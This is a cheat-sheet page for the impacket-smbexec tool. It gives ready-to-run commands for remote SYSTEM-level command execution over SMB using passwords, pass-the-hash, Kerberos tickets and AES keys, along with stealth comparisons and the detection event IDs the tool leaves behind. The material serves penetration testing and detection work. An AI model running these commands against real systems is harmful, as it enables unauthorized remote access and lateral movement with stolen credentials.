> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Impacket SMBExec

> impacket-smbexec cheat sheet: remote command execution via transient service creation over SMB with password, hash, and Kerberos authentication.

## Overview

`impacket-smbexec` executes commands on a remote host by creating a temporary Windows service for each command. Unlike psexec, it does not upload any binary to the target. Each command is executed via `cmd.exe /Q /c`, with output redirected to a file on a writable share. The service is created and deleted per command.

***

## Authentication Methods

| Method    | Flag          | Example                       |
| --------- | ------------- | ----------------------------- |
| Password  | (default)     | `domain/user:password@target` |
| NTLM hash | `-hashes`     | `-hashes :NT_HASH`            |
| Kerberos  | `-k -no-pass` | `-k -no-pass -dc-ip DC_IP`    |
| AES key   | `-aesKey`     | `-aesKey AES256_KEY`          |

***

## Basic Usage — Interactive Shell

```bash theme={"dark"}
impacket-smbexec domain.local/administrator:Password123@10.10.10.5
```

Local admin (no domain):

```bash theme={"dark"}
impacket-smbexec ./administrator:Password123@10.10.10.5
```

***

## Execute Specific Command

```bash theme={"dark"}
impacket-smbexec domain.local/administrator:Password123@10.10.10.5 "whoami"
```

Run a PowerShell command:

```bash theme={"dark"}
impacket-smbexec domain.local/administrator:Password123@10.10.10.5 "powershell -c Get-Process"
```

***

## How It Works

1. Authenticates to the target via SMB (port 445).
2. Connects to the Service Control Manager (SCM) via RPC.
3. For each command, creates a new service with a random name.
4. The service `binPath` runs `%COMSPEC% /Q /c` to drop a temporary batch file (under `%SYSTEMROOT%`) that executes `<command>` and redirects output to `\\%COMPUTERNAME%\<share>\__output 2>&1`, then deletes it. It does **not** use `127.0.0.1` or place the command directly in `binPath`.
5. Starts the service, which executes the command and writes output to the share.
6. Reads the output file over SMB.
7. Deletes the output file and the service immediately after.

The shell runs as SYSTEM because Windows services execute under the SYSTEM context.

***

## OPSEC Considerations

| Indicator        | Detail                                                    |
| ---------------- | --------------------------------------------------------- |
| Service creation | **One per command** — created and deleted each time       |
| Binary on disk   | **None** — no executable uploaded                         |
| Temp files       | Output written to `C$` share (short-lived)                |
| Event logs       | Service install/delete (7045, 7009) per command           |
| Detection        | Rapid service create/delete pattern is very distinctive   |
| Noise level      | **High** — service churn is easily detected by SIEM rules |

Artifacts to expect:

* System Event ID **7045** (new service installed) for every command
* System Event ID **7009** (service timeout) after each execution
* Security Event ID **4624** (network logon type 3)
* Security Event ID **4697** (service installation)
* Temp output files briefly written to `C$`

***

## Pass-the-Hash

```bash theme={"dark"}
impacket-smbexec -hashes :64f12cddaa88057e06a81b54e73b949b domain.local/administrator@10.10.10.5
```

With both LM and NT hash:

```bash theme={"dark"}
impacket-smbexec -hashes aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b domain.local/administrator@10.10.10.5
```

***

## Kerberos Authentication

Requires a valid ccache file or keytab.

```bash theme={"dark"}
export KRB5CCNAME=/tmp/administrator.ccache
impacket-smbexec -k -no-pass domain.local/administrator@dc01.domain.local
```

With explicit DC IP:

```bash theme={"dark"}
impacket-smbexec -k -no-pass -dc-ip 10.10.10.1 domain.local/administrator@dc01.domain.local -target-ip 10.10.10.5
```

Using AES key directly:

```bash theme={"dark"}
impacket-smbexec -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc domain.local/administrator@dc01.domain.local -k -no-pass
```

***

## Specify Share for Output

By default, output goes to `C$`. Use a different share:

```bash theme={"dark"}
impacket-smbexec -share ADMIN$ domain.local/administrator:Password123@10.10.10.5
```

***

## When to Use: smbexec vs psexec vs wmiexec

| Feature              | psexec          | smbexec         | wmiexec                     |
| -------------------- | --------------- | --------------- | --------------------------- |
| **Protocol**         | SMB (445)       | SMB (445)       | DCOM/WMI (135 + high ports) |
| **Binary upload**    | Yes (RemComSvc) | No              | No                          |
| **Service creation** | One persistent  | One per command | None                        |
| **Shell context**    | SYSTEM          | SYSTEM          | Authenticated user          |
| **OPSEC noise**      | High            | High            | Medium                      |
| **Ports required**   | 445             | 445             | 135 + 445 + dynamic         |
| **AV/EDR detection** | Very likely     | Moderate        | Lower                       |
| **Output method**    | Named pipes     | File on share   | File on share               |
| **Interactive**      | Full            | Semi            | Semi                        |

**When to choose each:**

* **psexec** — Need a full interactive SYSTEM shell and stealth is not a concern.
* **smbexec** — Target blocks DCOM/WMI but allows SMB, and you cannot upload binaries (AV blocking writes to ADMIN\$).
* **wmiexec** — Stealth matters. No service creation, no binary on disk. Best default choice when all ports are available.

***

## Common Errors and Fixes

| Error                                | Cause                                           | Fix                                                           |
| ------------------------------------ | ----------------------------------------------- | ------------------------------------------------------------- |
| `STATUS_ACCESS_DENIED`               | User lacks local admin or SCM access            | Verify local admin membership                                 |
| `rpc_s_access_denied`                | Cannot reach Service Control Manager            | Check SMB access and admin rights                             |
| `ERROR_SERVICE_REQUEST_TIMEOUT`      | Command took too long                           | Service times out — command still runs but output may be lost |
| `Connection refused`                 | SMB port 445 blocked                            | Check firewall                                                |
| `KDC_ERR_PREAUTH_FAILED`             | Wrong password or expired ticket                | Verify creds, regenerate ccache                               |
| `SessionError: STATUS_LOGON_FAILURE` | Incorrect credentials                           | Double-check password/hash                                    |
| Empty output                         | Share not writable or output file deleted by AV | Try `-share ADMIN$` or different share                        |

***

## Quick Reference

```bash theme={"dark"}
# Interactive shell with password
impacket-smbexec domain.local/user:pass@TARGET

# Interactive shell with hash (pass-the-hash)
impacket-smbexec -hashes :NTHASH domain.local/user@TARGET

# Interactive shell with Kerberos
export KRB5CCNAME=/tmp/user.ccache
impacket-smbexec -k -no-pass domain.local/user@TARGET_FQDN

# Run single command
impacket-smbexec domain.local/user:pass@TARGET "ipconfig /all"

# Use alternate output share
impacket-smbexec -share ADMIN$ domain.local/user:pass@TARGET

# With explicit DC for Kerberos
impacket-smbexec -k -no-pass -dc-ip DC_IP domain.local/user@TARGET_FQDN
```